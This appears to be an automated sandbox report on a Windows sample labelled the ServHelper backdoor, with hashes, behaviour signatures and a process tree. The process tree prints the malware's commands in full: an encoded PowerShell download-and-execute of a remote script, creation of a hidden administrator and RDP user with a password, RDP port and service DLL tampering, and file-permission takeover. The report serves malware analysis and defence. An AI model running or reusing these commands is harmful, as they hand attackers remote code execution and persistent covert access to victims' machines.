Analysis
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max time kernel
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max time network
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platform
windows7_x64 -
resource
win7-en-20211014 -
submitted
26-11-2021 10:11
Static task
static1
Behavioral task
behavioral1
Sample
d97a38c3bea371da6d9dfaee99ed039d.exe
Resource
win7-en-20211014
Behavioral task
behavioral2
Sample
d97a38c3bea371da6d9dfaee99ed039d.exe
Resource
win10-en-20211104
General
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Target
d97a38c3bea371da6d9dfaee99ed039d.exe
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Size
4.3MB
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MD5
d97a38c3bea371da6d9dfaee99ed039d
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SHA1
1fec3033a83b2ceea2f34bf81fc0929d2570fbdd
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SHA256
df9df29f3c0d3af0e23a5f32be956469661f8f4006162442737452f5c5709744
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SHA512
781c60f7af50fd41985afec6a8cc994656505c676a83624e624821a999a92bbb7d0924e06cd4171dbcbed436d34bfae5c865c9b9b6d31acb0f3c48877e34ea1d
Malware Config
Extracted
https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1
Signatures
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ServHelper
ServHelper is a backdoor written in Delphi and is associated with the hacking group TA505.
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Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.
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Blocklisted process makes network request 2 IoCs
flow pid Process 5 1964 powershell.exe 6 1964 powershell.exe -
Modifies RDP port number used by Windows 1 TTPs
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Possible privilege escalation attempt 8 IoCs
pid Process 284 icacls.exe 560 icacls.exe 1208 icacls.exe 1460 icacls.exe 1068 takeown.exe 1128 icacls.exe 888 icacls.exe 1828 icacls.exe -
Sets DLL path for service in the registry 2 TTPs
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resource yara_rule behavioral1/files/0x0009000000013055-133.dat upx behavioral1/files/0x001600000000f5e9-134.dat upx -
Loads dropped DLL 2 IoCs
pid Process 1760 Process not Found 1760 Process not Found -
Modifies file permissions 1 TTPs 8 IoCs
pid Process 888 icacls.exe 1828 icacls.exe 284 icacls.exe 560 icacls.exe 1208 icacls.exe 1460 icacls.exe 1068 takeown.exe 1128 icacls.exe -
Drops file in System32 directory 1 IoCs
description ioc Process File created C:\Windows\system32\rfxvmt.dll powershell.exe -
Drops file in Windows directory 9 IoCs
description ioc Process File opened for modification C:\Windows\branding\ShellBrd powershell.exe File opened for modification C:\Windows\branding\mediasvc.png powershell.exe File created C:\Windows\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\C8H4LZEVCZZQFIM453N7.temp powershell.exe File created C:\Windows\branding\mediasvc.png powershell.exe File created C:\Windows\branding\wupsvc.jpg powershell.exe File opened for modification C:\Windows\branding\mediasrv.png powershell.exe File opened for modification C:\Windows\branding\wupsvc.jpg powershell.exe File created C:\Windows\branding\mediasrv.png powershell.exe File opened for modification C:\Windows\branding\Basebrd powershell.exe -
Modifies data under HKEY_USERS 4 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ WMIC.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ WMIC.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage powershell.exe Set value (data) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = c09ceff1b6e2d701 powershell.exe -
Modifies registry key 1 TTPs 1 IoCs
pid Process 884 reg.exe -
Runs net.exe
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Suspicious behavior: EnumeratesProcesses 8 IoCs
pid Process 1932 powershell.exe 1004 powershell.exe 1000 powershell.exe 1156 powershell.exe 1932 powershell.exe 1932 powershell.exe 1932 powershell.exe 1964 powershell.exe -
Suspicious behavior: LoadsDriver 5 IoCs
pid Process 472 Process not Found 1760 Process not Found 1760 Process not Found 1760 Process not Found 1760 Process not Found -
Suspicious use of AdjustPrivilegeToken 18 IoCs
description pid Process Token: SeDebugPrivilege 1932 powershell.exe Token: SeDebugPrivilege 1004 powershell.exe Token: SeDebugPrivilege 1000 powershell.exe Token: SeDebugPrivilege 1156 powershell.exe Token: SeRestorePrivilege 888 icacls.exe Token: SeAssignPrimaryTokenPrivilege 1212 WMIC.exe Token: SeIncreaseQuotaPrivilege 1212 WMIC.exe Token: SeAuditPrivilege 1212 WMIC.exe Token: SeAssignPrimaryTokenPrivilege 1212 WMIC.exe Token: SeIncreaseQuotaPrivilege 1212 WMIC.exe Token: SeAuditPrivilege 1212 WMIC.exe Token: SeAssignPrimaryTokenPrivilege 1652 WMIC.exe Token: SeIncreaseQuotaPrivilege 1652 WMIC.exe Token: SeAuditPrivilege 1652 WMIC.exe Token: SeAssignPrimaryTokenPrivilege 1652 WMIC.exe Token: SeIncreaseQuotaPrivilege 1652 WMIC.exe Token: SeAuditPrivilege 1652 WMIC.exe Token: SeDebugPrivilege 1964 powershell.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 324 wrote to memory of 1932 324 d97a38c3bea371da6d9dfaee99ed039d.exe 29 PID 324 wrote to memory of 1932 324 d97a38c3bea371da6d9dfaee99ed039d.exe 29 PID 324 wrote to memory of 1932 324 d97a38c3bea371da6d9dfaee99ed039d.exe 29 PID 1932 wrote to memory of 1972 1932 powershell.exe 31 PID 1932 wrote to memory of 1972 1932 powershell.exe 31 PID 1932 wrote to memory of 1972 1932 powershell.exe 31 PID 1972 wrote to memory of 1068 1972 csc.exe 32 PID 1972 wrote to memory of 1068 1972 csc.exe 32 PID 1972 wrote to memory of 1068 1972 csc.exe 32 PID 1932 wrote to memory of 1004 1932 powershell.exe 33 PID 1932 wrote to memory of 1004 1932 powershell.exe 33 PID 1932 wrote to memory of 1004 1932 powershell.exe 33 PID 1932 wrote to memory of 1000 1932 powershell.exe 35 PID 1932 wrote to memory of 1000 1932 powershell.exe 35 PID 1932 wrote to memory of 1000 1932 powershell.exe 35 PID 1932 wrote to memory of 1156 1932 powershell.exe 37 PID 1932 wrote to memory of 1156 1932 powershell.exe 37 PID 1932 wrote to memory of 1156 1932 powershell.exe 37 PID 1932 wrote to memory of 1068 1932 powershell.exe 39 PID 1932 wrote to memory of 1068 1932 powershell.exe 39 PID 1932 wrote to memory of 1068 1932 powershell.exe 39 PID 1932 wrote to memory of 1128 1932 powershell.exe 40 PID 1932 wrote to memory of 1128 1932 powershell.exe 40 PID 1932 wrote to memory of 1128 1932 powershell.exe 40 PID 1932 wrote to memory of 888 1932 powershell.exe 41 PID 1932 wrote to memory of 888 1932 powershell.exe 41 PID 1932 wrote to memory of 888 1932 powershell.exe 41 PID 1932 wrote to memory of 1828 1932 powershell.exe 42 PID 1932 wrote to memory of 1828 1932 powershell.exe 42 PID 1932 wrote to memory of 1828 1932 powershell.exe 42 PID 1932 wrote to memory of 284 1932 powershell.exe 43 PID 1932 wrote to memory of 284 1932 powershell.exe 43 PID 1932 wrote to memory of 284 1932 powershell.exe 43 PID 1932 wrote to memory of 560 1932 powershell.exe 44 PID 1932 wrote to memory of 560 1932 powershell.exe 44 PID 1932 wrote to memory of 560 1932 powershell.exe 44 PID 1932 wrote to memory of 1208 1932 powershell.exe 45 PID 1932 wrote to memory of 1208 1932 powershell.exe 45 PID 1932 wrote to memory of 1208 1932 powershell.exe 45 PID 1932 wrote to memory of 1460 1932 powershell.exe 46 PID 1932 wrote to memory of 1460 1932 powershell.exe 46 PID 1932 wrote to memory of 1460 1932 powershell.exe 46 PID 1932 wrote to memory of 1740 1932 powershell.exe 47 PID 1932 wrote to memory of 1740 1932 powershell.exe 47 PID 1932 wrote to memory of 1740 1932 powershell.exe 47 PID 1932 wrote to memory of 884 1932 powershell.exe 48 PID 1932 wrote to memory of 884 1932 powershell.exe 48 PID 1932 wrote to memory of 884 1932 powershell.exe 48 PID 1932 wrote to memory of 1440 1932 powershell.exe 49 PID 1932 wrote to memory of 1440 1932 powershell.exe 49 PID 1932 wrote to memory of 1440 1932 powershell.exe 49 PID 1932 wrote to memory of 1628 1932 powershell.exe 50 PID 1932 wrote to memory of 1628 1932 powershell.exe 50 PID 1932 wrote to memory of 1628 1932 powershell.exe 50 PID 1628 wrote to memory of 1112 1628 net.exe 51 PID 1628 wrote to memory of 1112 1628 net.exe 51 PID 1628 wrote to memory of 1112 1628 net.exe 51 PID 1932 wrote to memory of 1260 1932 powershell.exe 52 PID 1932 wrote to memory of 1260 1932 powershell.exe 52 PID 1932 wrote to memory of 1260 1932 powershell.exe 52 PID 1260 wrote to memory of 1600 1260 cmd.exe 53 PID 1260 wrote to memory of 1600 1260 cmd.exe 53 PID 1260 wrote to memory of 1600 1260 cmd.exe 53 PID 1600 wrote to memory of 1396 1600 cmd.exe 54
Processes
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C:\Users\Admin\AppData\Local\Temp\d97a38c3bea371da6d9dfaee99ed039d.exe"C:\Users\Admin\AppData\Local\Temp\d97a38c3bea371da6d9dfaee99ed039d.exe"1⤵
- Suspicious use of WriteProcessMemory
PID:324 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'2⤵
- Drops file in System32 directory
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1932 -
C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe"C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\08to2xsv.cmdline"3⤵
- Suspicious use of WriteProcessMemory
PID:1972 -
C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES3757.tmp" "c:\Users\Admin\AppData\Local\Temp\CSC3736.tmp"4⤵PID:1068
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -s -NoLogo -NoProfile3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1004
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -s -NoLogo -NoProfile3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1000
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -s -NoLogo -NoProfile3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1156
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C:\Windows\system32\takeown.exe"C:\Windows\system32\takeown.exe" /A /F rfxvmt.dll3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:1068
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C:\Windows\system32\icacls.exe"C:\Windows\system32\icacls.exe" rfxvmt.dll /inheritance:d3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:1128
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C:\Windows\system32\icacls.exe"C:\Windows\system32\icacls.exe" rfxvmt.dll /setowner "NT SERVICE\TrustedInstaller"3⤵
- Possible privilege escalation attempt
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
PID:888
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C:\Windows\system32\icacls.exe"C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT SERVICE\TrustedInstaller:F"3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:1828
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C:\Windows\system32\icacls.exe"C:\Windows\system32\icacls.exe" rfxvmt.dll /remove "NT AUTHORITY\SYSTEM"3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:284
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C:\Windows\system32\icacls.exe"C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT AUTHORITY\SYSTEM:RX"3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:560
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C:\Windows\system32\icacls.exe"C:\Windows\system32\icacls.exe" rfxvmt.dll /remove BUILTIN\Administrators3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:1208
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C:\Windows\system32\icacls.exe"C:\Windows\system32\icacls.exe" rfxvmt.dll /grant BUILTIN\Administrators:RX3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:1460
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C:\Windows\system32\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f3⤵PID:1740
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C:\Windows\system32\reg.exe"C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f3⤵
- Modifies registry key
PID:884
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C:\Windows\system32\reg.exe"C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f3⤵PID:1440
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C:\Windows\system32\net.exe"C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add3⤵
- Suspicious use of WriteProcessMemory
PID:1628 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add4⤵PID:1112
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C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr3⤵
- Suspicious use of WriteProcessMemory
PID:1260 -
C:\Windows\system32\cmd.execmd /c net start rdpdr4⤵
- Suspicious use of WriteProcessMemory
PID:1600 -
C:\Windows\system32\net.exenet start rdpdr5⤵PID:1396
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C:\Windows\system32\net1.exeC:\Windows\system32\net1 start rdpdr6⤵PID:984
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C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c cmd /c net start TermService3⤵PID:760
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C:\Windows\system32\cmd.execmd /c net start TermService4⤵PID:1488
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C:\Windows\system32\net.exenet start TermService5⤵PID:1704
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C:\Windows\system32\net1.exeC:\Windows\system32\net1 start TermService6⤵PID:1524
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C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f3⤵PID:1756
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C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f3⤵PID:1576
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C:\Windows\System32\cmd.execmd /C net.exe user WgaUtilAcc 000000 /del1⤵PID:1636
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C:\Windows\system32\net.exenet.exe user WgaUtilAcc 000000 /del2⤵PID:1780
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C:\Windows\system32\net1.exeC:\Windows\system32\net1 user WgaUtilAcc 000000 /del3⤵PID:840
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C:\Windows\System32\cmd.execmd /C net.exe user WgaUtilAcc ubO3NKsI /add1⤵PID:1212
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C:\Windows\system32\net.exenet.exe user WgaUtilAcc ubO3NKsI /add2⤵PID:1728
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C:\Windows\system32\net1.exeC:\Windows\system32\net1 user WgaUtilAcc ubO3NKsI /add3⤵PID:1828
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C:\Windows\System32\cmd.execmd /C net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD1⤵PID:1900
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C:\Windows\system32\net.exenet.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD2⤵PID:1896
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C:\Windows\system32\net1.exeC:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD3⤵PID:1940
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C:\Windows\System32\cmd.execmd /C net.exe LOCALGROUP "Remote Desktop Users" UKNHJUQT$ /ADD1⤵PID:992
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C:\Windows\system32\net.exenet.exe LOCALGROUP "Remote Desktop Users" UKNHJUQT$ /ADD2⤵PID:952
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C:\Windows\system32\net1.exeC:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" UKNHJUQT$ /ADD3⤵PID:1140
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C:\Windows\System32\cmd.execmd /C net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD1⤵PID:552
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C:\Windows\system32\net.exenet.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD2⤵PID:1600
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C:\Windows\system32\net1.exeC:\Windows\system32\net1 LOCALGROUP "Administrators" WgaUtilAcc /ADD3⤵PID:1608
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C:\Windows\System32\cmd.execmd /C net.exe user WgaUtilAcc ubO3NKsI1⤵PID:1640
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C:\Windows\system32\net.exenet.exe user WgaUtilAcc ubO3NKsI2⤵PID:1568
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C:\Windows\system32\net1.exeC:\Windows\system32\net1 user WgaUtilAcc ubO3NKsI3⤵PID:1612
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C:\Windows\System32\cmd.execmd.exe /C wmic path win32_VideoController get name1⤵PID:1660
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C:\Windows\System32\Wbem\WMIC.exewmic path win32_VideoController get name2⤵
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:1212
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C:\Windows\System32\cmd.execmd.exe /C wmic CPU get NAME1⤵PID:1940
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C:\Windows\System32\Wbem\WMIC.exewmic CPU get NAME2⤵
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:1652
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C:\Windows\System32\cmd.execmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA1⤵PID:1140
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C:\Windows\system32\cmd.execmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA2⤵PID:1404
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA3⤵
- Blocklisted process makes network request
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1964
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